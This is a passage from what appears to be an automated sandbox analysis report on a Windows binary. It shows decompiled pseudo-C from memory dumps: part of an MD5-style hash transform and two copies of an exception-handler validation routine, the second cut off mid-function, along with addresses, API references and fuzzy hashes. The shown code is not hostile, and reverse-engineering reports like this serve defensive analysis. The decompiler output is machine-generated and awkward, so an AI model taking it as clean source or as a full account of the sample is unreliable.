				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x009297f5
0x00929800
0x00929803
0x00929806
0x00929807
0x00929807
0x00929812
0x00929823
0x00929825
0x00929828
0x00929828
0x0092982b
0x0092982b
0x0092982e
0x0092982e
0x00929831
0x00929831
0x0092984e
0x00929851
0x00929867
0x0092986a
0x00929884
0x00929887
0x0092989d
0x009298a0
0x009298a2
0x009298ba
0x009298bd
0x009298c0
0x009298d8
0x009298db
0x009298f5
0x009298f8
0x0092990e
0x00929911
0x00929913
0x0092992b
0x00929930
0x00929933
0x00929949
0x0092994c
0x00929966
0x00929969
0x0092997f
0x00929982
0x00929984
0x0092999f
0x009299a2
0x009299b9
0x009299bc
0x009299c0
0x009299d9
0x009299dc
0x009299de
0x009299e1
0x009299fc
0x009299ff
0x00929a18
0x00929a1b
0x00929a2b
0x00929a2e
0x00929a46
0x00929a49
0x00929a63
0x00929a66
0x00929a7e
0x00929a81
0x00929a97
0x00929a9a
0x00929ab2
0x00929ab5
0x00929acd
0x00929ad0
0x00929aea
0x00929aed
0x00929b03
0x00929b06
0x00929b1e
0x00929b21
0x00929b3b
0x00929b3e
0x00929b56
0x00929b59
0x00929b6f
0x00929b72
0x00929b8a
0x00929b8d
0x00929ba5
0x00929ba8
0x00929bba
0x00929bbd
0x00929bcf
0x00929bd2
0x00929be4
0x00929be7
0x00929beb
0x00929bfb
0x00929bfe
0x00929c0c
0x00929c0f
0x00929c21
0x00929c24
0x00929c38
0x00929c3b
0x00929c3d
0x00929c4d
0x00929c50
0x00929c62
0x00929c65
0x00929c73
0x00929c76
0x00929c88
0x00929c8b
0x00929c8f
0x00929c9f
0x00929ca2
0x00929cb4
0x00929cb7
0x00929cc5
0x00929cc8
0x00929cda
0x00929cdd
0x00929cef
0x00929cf2
0x00929d06
0x00929d09
0x00929d1d
0x00929d20
0x00929d34
0x00929d37
0x00929d4b
0x00929d4e
0x00929d62
0x00929d65
0x00929d79
0x00929d7e
0x00929d90
0x00929d93
0x00929da7
0x00929daa
0x00929dbe
0x00929dc1
0x00929dd7
0x00929dda
0x00929dee
0x00929df1
0x00929e03
0x00929e06
0x00929e1a
0x00929e1d
0x00929e31
0x00929e34
0x00929e48
0x00929e51
0x00929e54
0x00929e5d
0x00929e66
0x00929e6e
0x00929e76
0x00929e80
0x00929e95

APIs

memset.NTDLL ref: 00929E89

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction ID: 9bae4a33ed351861a7dc8f121687f938f305e963b57de0ead275ab88a0f1e554
Opcode Fuzzy Hash: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction Fuzzy Hash: 2522847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 0092B341, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0092B341(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x92d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x92d328 = 1;
										__eflags =  *0x92d328;
										if( *0x92d328 != 0) {
											goto L60;
										}
										_t84 =  *0x92d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x92d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x92d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x92d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x92d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x92d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x92d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x92d328 = 1;
							__eflags =  *0x92d328;
							if( *0x92d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x92d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x92d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x92d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x92d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
